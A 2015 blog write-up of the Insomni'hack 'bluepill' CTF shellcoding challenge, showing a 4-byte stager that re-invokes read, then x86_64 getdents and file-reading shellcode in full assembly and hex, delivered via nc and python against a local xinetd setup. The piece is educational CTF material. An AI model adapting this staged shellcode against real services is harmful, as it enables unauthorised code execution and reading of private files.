14 Apr 2015

Context

The event : https://twitter.com/1ns0mn1h4ck

The bluepill challenge was in the shellcode part of the insomnihack #2015 CTF.

At the the time, I was unable to finish it during the CTF...

Ouch ! ~500 points lost...

Anyway, we have finished (mushd00m team) the CTF at the 8th rank, which is not so bad if you consider the average team level this year....

http://blog.scrt.ch/2015/03/24/insomnihack-finals-ctf-results/

So, i take the challenge for my homework, and here is my solution.

Bluepill ?

here it is : https://github.com/Insomnihack/Insomnihack-2015/tree/master/shellcoding/bluepill

Let's see what we've got ...

A binary file : bluepill

The source : bluepill.s (x86_64 Assembly)

The flag file : thisisaveryrandomnameamirite

During the CTF, the binary was launched on a remote server in a chroot environnement, fire up with xinetd.

Bye, bye :

/bin/sh

/bin/ls

etc...

The Goal ? Display the Flag file !

The bluepill file :

root@kali:~/Desktop/inso_2015/shellcode# file bluepill bluepill: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, not stripped

The source file :

.section ".short", "awx" .short .global _start _start: #write(fd, buf, size) (rdi, rsi, rdx) mov $len1,%rdx mov $msg1,%rsi mov $1,%rdi mov %rdi,%rax syscall #read(fd, buf, size) (rdi, rsi, rdx) mov $4,%rdx lea sc, %rsi xor %rdi,%rdi xor %rax,%rax syscall mov $end,%rcx isnull: cmpb $0,(%rcx) je exit cmp $sc,%rcx loopne isnull sc: .rept 0x100 .long 0xdeadc0de .endr end: exit: push $60 mov $1,%rdi pop %rax syscall msg1: .ascii "This is your last chance. After this, there is no going back.

You take the blue pill and the story ends.

You wake in your bed and you believe whatever you want to believe.

You take the red pill and you stay in Wonderland and I show you how deep the rabbit-hole goes...



Just kidding, we're out of red pill anyway!

" len1 = . - msg1

First analysis

The first write syscall display the message :

This is your last chance. After this, there is no going back. You take the blue pill and the story ends. You wake in your bed and you believe whatever you want to believe. You take the red pill and you stay in Wonderland and I show you how deep the rabbit-hole goes... Just kidding, we're out of red pill anyway!

The second syscall read 4 bytes from stdin , and if there is no zero (\x00) in it, the opcodes are executed since they are copied just after the isnull : part, in the sc: part.

Stage 1

4 bytes only !!! that's not enough to push a shellcode .... we have to find something else...

I know.... a staged shellcode will do the job !

http://en.wikipedia.org/wiki/Shellcode#Staged

Yes ... but how ? 4 bytes are enough for a relative jump ... but we have to push our shellcode somewhere before !

In fact, a relative jump is only 2 bytes. So, we have 2 bytes left...any ideas ??

Let's have a look at the read syscall part :

#read(fd, buf, size) (rdi, rsi, rdx) mov $4,%rdx <== Number of bytes to read lea sc, %rsi xor %rdi,%rdi xor %rax,%rax syscall isnull (cut):.... sc: <== Saved and Executed here .rept 0x100 .long 0xdeadc0de .endr

Idea :

If we can call the read syscall again with a higher value in %rdx, we can push our shellcode in the sc: part.

So, we have to analyse the register value during execution to find a clue.

I use GDB with the mighty PEDA (https://github.com/longld/peda) for all the reverse i do.

Just after the first read, we put a breakpoint on the sc: part and watch the state of registers.

Gotcha !

%rsi is high enough !! we can use it ...

How ? with push & pop ! Let's modify the source and assemble it to get the opcodes.

#read(fd, buf, size) (rdi, rsi, rdx) mov $4,%rdx here: <== add a label lea sc, %rsi xor %rdi,%rdi xor %rax,%rax syscall isnull (cut):.... sc: push %rsi <== 1 byte pop %rdx <== 1 byte jmp here <== 2 bytes : 4 bytes ! .rept 0x100 .long 0xdeadc0de .endr

Assemble & Link :

as -o bluepill.o bluepill.s ld -o bluepill bluepill.o

Dump :

diogene inso # objdump -Mintel -d bluepill | more bluepill: format de fichier elf64-x86-64 Déassemblage de la section .short: 0000000000600078 <_start>: 600078: 48 c7 c2 3a 01 00 00 mov rdx,0x13a 60007f: 48 c7 c6 d5 04 60 00 mov rsi,0x6004d5 600086: 48 c7 c7 01 00 00 00 mov rdi,0x1 60008d: 48 89 f8 mov rax,rdi 600090: 0f 05 syscall 600092: 48 c7 c2 04 00 00 00 mov rdx,0x4 <== first read 0000000000600099 <here>: 600099: 48 8d 34 25 c2 00 60 lea rsi,ds:0x6000c2 6000a0: 00 6000a1: 48 31 ff xor rdi,rdi 6000a4: 48 31 c0 xor rax,rax 6000a7: 0f 05 syscall 6000a9: 48 c7 c1 c9 04 60 00 mov rcx,0x6004c9 00000000006000b0 <isnull>: ..... 00000000006000c2 <sc>: 6000c2: 56 push rsi <== push rsi 6000c3: 5a pop rdx <== pop in rdx 6000c4: eb d3 jmp 600099 <here> <= jmp !

Now, we have our opcodes : 56 5a eb d3. Let's try in GDB

Stage 1 : Test

Ok, now we can test the stager on the binary, and observe the result through GDB.

diogene code_blue # gdb -q ./bluepill 2.7.5+ (default, Feb 27 2014, 19:40:54) [GCC 4.8.1] Reading symbols from /opt/code_blue/bluepill...(no debugging symbols found)...done. gdb-peda$ br sc <== breakpoint on sc: Breakpoint 1 at 0x6000fa gdb-peda$ r < <(python -c 'print "\x56\x5a\xeb\xd3" + "\x90"*10 + "\xcc"*20') This is your last chance. After this, there is no going back. You take the blue pill and the story ends. You wake in your bed and you believe whatever you want to believe. You take the red pill and you stay in Wonderland and I show you how deep the rabbit-hole goes... Just kidding, we're out of red pill anyway! Program received signal SIGTRAP, Trace/breakpoint trap. <== breakpoint hit :\xcc

Let's expain the run line :

r < <(python -c 'print "\x56\x5a\xeb\xd3" + "\x90"*10 + "\xcc"*20')

r : run

< : redirect

<(cmd) : process substitution (http://tldp.org/LDP/abs/html/process-sub.html)

python -c '..' : exec python command

print "..." : opcodes

+"\x90" : NOP sled (http://en.wikipedia.org/wiki/Buffer_overflow#NOP_sled_technique)

+"\xcc" : breakpoint opcode

Everything run just fine ! Our \xcc breakpoint was hit, so we can now push a real larger shellcode.

Stage 2

Now we have to push a shellcode to retrieve the flag. The BIG problem is that the remote bluepill run in a CHROOT environnement as mention at the begining.

So we can't use a "/bin/ls shellcode" to retrieve the content of the remote directory.

After a few google search we find this :

diogene code_blue #man 2 getdents

man 2 : for syscall man page

GETDENTS(2) Linux Programmer's Manual GETDENTS(2) NAME getdents - get directory entries SYNOPSIS int getdents(unsigned int fd, struct linux_dirent *dirp, unsigned int count); Note: There is no glibc wrapper for this system call; see NOTES. DESCRIPTION This is not the function you are interested in. Look at readdir(3) for the POSIX conforming C library interface. This page documents the bare kernel system call interface. The system call getdents() reads several linux_dirent structures from the directory referred to by the open file descriptor fd into the buffer pointed to by dirp. The argument count specifies the size of that buffer.

Seems perfect ! let's try !

Stage 2 : getdents shellcode

Nothing special here. Be carefull with the "\x00" in the objdump, and remember you are working on a x86_64 bits plateforme ! I spend 2 hours building a shellcode with 32 bits syscall number ! Damn it ....

The code :

.intel_syntax noprefix .text .global _start _start: xor rax,rax xor rdi,rdi # fd = sys.open(".", 0, 0) # rdi =filename # rsi = flags # rdx = mode # syscall n 2 push 0x2e # the ASCII code of '.' = current dir mov rdi,rsp xor rsi,rsi # flags = 0 xor rdx,rdx # mode = 0 inc rax # syscall n 2 inc rax syscall test rax,rax jz error mov rdi,rax # fd # getdents (fd, where = esp, size = 0x100) # rdi = fd # rsi = buffer # rdx = count # syscall n 78 mov dl, 0xfe # size sub rsp,rdx # room to stock mov rsi,rsp # buffer address mov al,78 # syscall n 78 syscall # size read mov rdx,rax # clean close # close (fd) # rdi = fd # syscall n 3 xor rax,rax inc rax # +1 inc rax # +1 inc rax # +1 => 3 syscall # display # write (fd, buf, count) # rdi = out fd # rsi = buffer # rdx = count # syscall n 1 mov rsi,rsp # adr buf xor rax,rax inc rax # syscall 1 xor rdi,rdi # out fd inc rdi # n 1 syscall # clean the stack add rsp,rdx # on remonte de ce que on a lu error: # sys_exit # syscall n 60 xor rax,rax mov al,60 # syscall n 60 xor rdi,rdi # error code syscall

It's a "classic" shellcode with a series of call :

open : '.' current dir

getdents : retrieve dir entries

close

write : display the result

exit

Assemble & Link

as -o getdents_64.o getdents_64.s ld -o getdents_64 getdents_64.o

Let's try in the local dir

diogene chr # ./getdents_64 �^!{O����+ bluepil�^�@ ��rOP0thisisaveryrandomnameamirit^9e�i�tz..�^�U�,˛�z getdents_6�^�������.diogene chr #

Ouch ! weird output .... but normal.

Remember : This syscall is not for direct use.. so the result ouput : files and meta-data

Can we do better ? yes

diogene chr # ./getdents_64 >> result.bin diogene chr # hd result.bin 00000000 e1 01 5e 00 00 00 00 00 21 7b 4f 92 87 9b e0 2b |..^.....!{O....+| 00000010 20 00 62 6c 75 65 70 69 6c 6c 00 00 00 00 00 08 | .bluepill......| 00000020 e3 01 5e 00 00 00 00 00 d6 40 09 e1 ce 72 4f 50 |..^......@...rOP| 00000030 30 00 74 68 69 73 69 73 61 76 65 72 79 72 61 6e |0.thisisaveryran| 00000040 64 6f 6d 6e 61 6d 65 61 6d 69 72 69 74 65 00 08 |domnameamirite..| 00000050 01 00 5e 00 00 00 00 00 ac 8c 34 b6 8e fd 2b 68 |..^.......4...+h| 00000060 18 00 2e 2e 00 00 00 04 fa 01 5e 00 00 00 00 00 |..........^.....| 00000070 39 14 65 9a 69 8a 74 7a 20 00 72 65 73 75 6c 74 |9.e.i.tz .result| 00000080 2e 62 69 6e 00 00 00 08 ef 01 5e 00 00 00 00 00 |.bin......^.....| 00000090 f2 55 b5 2c cb 9b c7 7a 20 00 67 65 74 64 65 6e |.U.,...z .getden| 000000a0 74 73 5f 36 34 00 00 08 de 01 5e 00 00 00 00 00 |ts_64.....^.....| 000000b0 ff ff ff ff ff ff ff 7f 18 00 2e 00 00 00 00 04 |................| 000000c0

I "pipe" the result in a file (result.bin), and open it with : hexdump (hd). Now it's clear, 4 files :

bluepill

thisisaveryrandomnameamirite

result.bin

getdents_64

Stage 2 : getdents shellcode : Dump to String

Allright, as is work, we can produce the shellcode. After a few search, we find a tip to do it directly from the command line :

diogene chr # for i in $(objdump -d getdents_64 |grep "^ " |cut -f2); do echo -n '\x'$i; done; echo \x48\x31\xc0\x48\x31\xff\x6a\x2e\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\xff\xc0 \x48\xff\xc0\x0f\x05\x48\x85\xc0\x74\x34\x48\x89\xc7\xb2\xfe\x48\x29\xd4\x48\x89 \xe6\xb0\x4e\x0f\x05\x48\x89\xc2\x48\x31\xc0\x48\xff\xc0\x48\xff\xc0\x48\xff\xc0 \x0f\x05\x48\x89\xe6\x48\x31\xc0\x48\xff\xc0\x48\x31\xff\x48\xff\xc7\x0f\x05\x48 \x01\xd4\x48\x31\xc0\xb0\x3c\x48\x31\xff\x0f\x05

Perfect ! Let's try ...

diogene code_blue # nc 127.0.0.1 8000 < <(python -c 'print "\x56\x5a\xeb\xd3" + "\x90"*10 + "\x48\x31\xc0\x48\x31\xff\x6a\x2e\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\xff\xc0\x48\xff\xc0\x0f\x05\x48\x85\xc0\x74\x34\x48\x89\xc7\xb2\xfe\x48\x29\xd4\x48\x89\xe6\xb0\x4e\x0f\x05\x48\x89\xc2\x48\x31\xc0\x48\xff\xc0\x48\xff\xc0\x48\xff\xc0\x0f\x05\x48\x89\xe6\x48\x31\xc0\x48\xff\xc0\x48\x31\xff\x48\xff\xc7\x0f\x05\x48\x01\xd4\x48\x31\xc0\xb0\x3c\x48\x31\xff\x0f\x05"') This is your last chance. After this, there is no going back. You take the blue pill and the story ends. You wake in your bed and you believe whatever you want to believe. You take the red pill and you stay in Wonderland and I show you how deep the rabbit-hole goes... Just kidding, we're out of red pill anyway! �^!{O����+ bluepil�^�@ ��rOP0thisisaveryrandomnameamirit^�U�,˛�z..�^�������.diogene code_blue #

I use nc (netcat) to push it on the remote host (localhost here).

The stage 2 is over... you can put the result in a file, and pass it to hd to retrieve the correct name file.

....cut 00000140 00 00 21 7b 4f 92 87 9b e0 2b 20 00 62 6c 75 65 |..!{O....+ .blue| 00000150 70 69 6c 6c 00 00 00 00 00 08 e3 01 5e 00 00 00 |pill........^...| 00000160 00 00 d6 40 09 e1 ce 72 4f 50 30 00 74 68 69 73 |...@...rOP0.this| 00000170 69 73 61 76 65 72 79 72 61 6e 64 6f 6d 6e 61 6d |isaveryrandomnam| 00000180 65 61 6d 69 72 69 74 65 00 08 01 00 5e 00 00 00 |eamirite....^...| ...cut

Stage 3 : Display the flag

Ok, we are close. Now we need a write file shellcode. Here it is

.intel_syntax noprefix .text .global _start _start: xor rax,rax xor rdi,rdi # fd = sys.open("fichier", 0, 0) # rdi = filename # rsi = flags # rdx = mode # syscall n 2 # echo '././thisisaveryrandomnameamirite' | hexdump -e '1/4 "push 0x%4x" "

"' | tac push rax <== push 0x00 for string end movq rax,0x65746972696d6165 <== no push of 64 bits value push rax <== so do it in to time movq rax, 0x6d616e6d6f646e61 push rax movq rax, 0x7279726576617369 push rax mov rax, 0x736968742f2e2f2e push rax # Here rsp point to : ././thisisaveryrandomnameamirite mov rdi,rsp <== rsp to rdi inc rdi inc rdi inc rdi inc rdi <-- align fix # Here rdi point to : thisisaveryrandomnameamirite # good... xor rsi,rsi # flags = 0 xor rdx,rdx # mode = 0 xor rax,rax inc rax inc rax syscall # syscall 2 test rax,rax jz error mov rdi,rax # fd # read # rdi = fd # rsi = buffer # rdx = count # syscall 0 mov dl, 0xfe # size sub rsp,rdx # room to stock mov rsi,rsp # buffer address xor rax,rax # syscall 0 syscall # number of byte read mov rdx,rax # clean close # close (fd) # rdi = fd # syscall n 3 xor rax,rax inc rax # +1 inc rax # +1 inc rax # +1 => 3 syscall # display # write (fd, buf, count) # rdi = output fd # rsi = buffer # rdx = count # syscall n 1 mov rsi,rsp # adr buf xor rax,rax inc rax # syscall 1 xor rdi,rdi # output fd inc rdi # le 1 syscall # stack cleaning add rsp,rdx error: # sys_exit # syscall n 60 xor rax,rax mov al,60 # syscall n 60 xor rdi,rdi # error code syscall

Assemble & Link

as -o cat_file.o cat_file.s ld -o cat_file cat_file.o

Dump

for i in $(objdump -d cat_file |grep "^ " |cut -f2); do echo -n '\x'$i; done; echo \x48\x31\xc0\x48\x31\xff\x50\x48\xb8\x65\x61\x6d\x69\x72\x69\x74\x65\x50\x48\xb8 \x61\x6e\x64\x6f\x6d\x6e\x61\x6d\x50\x48\xb8\x69\x73\x61\x76\x65\x72\x79\x72\x50 \x48\xb8\x2e\x2f\x2e\x2f\x74\x68\x69\x73\x50\x48\x89\xe7\x48\xff\xc7\x48\xff\xc7 \x48\xff\xc7\x48\xff\xc7\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x48\xff\xc0\x48\xff \xc0\x0f\x05\x48\x85\xc0\x74\x35\x48\x89\xc7\xb2\xfe\x48\x29\xd4\x48\x89\xe6\x48 \x31\xc0\x0f\x05\x48\x89\xc2\x48\x31\xc0\x48\xff\xc0\x48\xff\xc0\x48\xff\xc0\x0f \x05\x48\x89\xe6\x48\x31\xc0\x48\xff\xc0\x48\x31\xff\x48\xff\xc7\x0f\x05\x48\x01 \xd4\x48\x31\xc0\xb0\x3c\x48\x31\xff\x0f\x05

And finally test :

diogene code_blue # nc 127.0.0.1 8000 < <(python -c 'print "\x56\x5a\xeb\xd3" + "\x90"*10 + "\x48\x31\xc0\x48\x31\xff\x50\x48\xb8\x65\x61\x6d\x69\x72\x69\x74\x65\x50\x48\xb8\x61\x6e\x64\x6f\x6d\x6e\x61\x6d\x50\x48\xb8\x69\x73\x61\x76\x65\x72\x79\x72\x50\x48\xb8\x2e\x2f\x2e\x2f\x74\x68\x69\x73\x50\x48\x89\xe7\x48\xff\xc7\x48\xff\xc7\x48\xff\xc7\x48\xff\xc7\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x48\xff\xc0\x48\xff\xc0\x0f\x05\x48\x85\xc0\x74\x35\x48\x89\xc7\xb2\xfe\x48\x29\xd4\x48\x89\xe6\x48\x31\xc0\x0f\x05\x48\x89\xc2\x48\x31\xc0\x48\xff\xc0\x48\xff\xc0\x48\xff\xc0\x0f\x05\x48\x89\xe6\x48\x31\xc0\x48\xff\xc0\x48\x31\xff\x48\xff\xc7\x0f\x05\x48\x01\xd4\x48\x31\xc0\xb0\x3c\x48\x31\xff\x0f\x05"') This is your last chance. After this, there is no going back. You take the blue pill and the story ends. You wake in your bed and you believe whatever you want to believe. You take the red pill and you stay in Wonderland and I show you how deep the rabbit-hole goes... Just kidding, we're out of red pill anyway! +INS{enlarge_your_shellc0de_with_return_oriented_shellc0ding}

D0ne !

The flag : +INS{enlarge_your_shellc0de_with_return_oriented_shellc0ding}

Conclusion

The insomni'hack CTF was great, like every year. For a challenge like this one, i can say that i was not enough prepared and not well prepared !. My first problem was with ALL my VMs running in 32 bits, and not in 64bits... moron ...

I spend 2 hours configuring a remote 64 Bits VPS with all my tools : GDB, PEDA, HD, etc ....not really efficient ...

Next, i have to search for every syscall and build the shellcode from scratch. That's a mistake, i need to make a "stock" with all the classic shellcode, both in 32 bits and 64 bits. Idem for libc version (thanks Dragon Sector !)

Thanks to all the great people at SCRT. My personnal thanks to Mickael Z. for this challenge.

Last : xinetd conf

In case you want to try this at home. For debian :

diogene code_blue # cat /etc/xinetd.d/bluepill service bluepill { log_on_success = HOST PID DURATION USERID type = UNLISTED socket_type = stream protocol = tcp port = 8000 wait = no user = root server = /usr/sbin/chroot server_args = /opt/chr/ ./bluepill }

The type parameter prevent a lookup in /etc/services and an error.

See ya.

Idle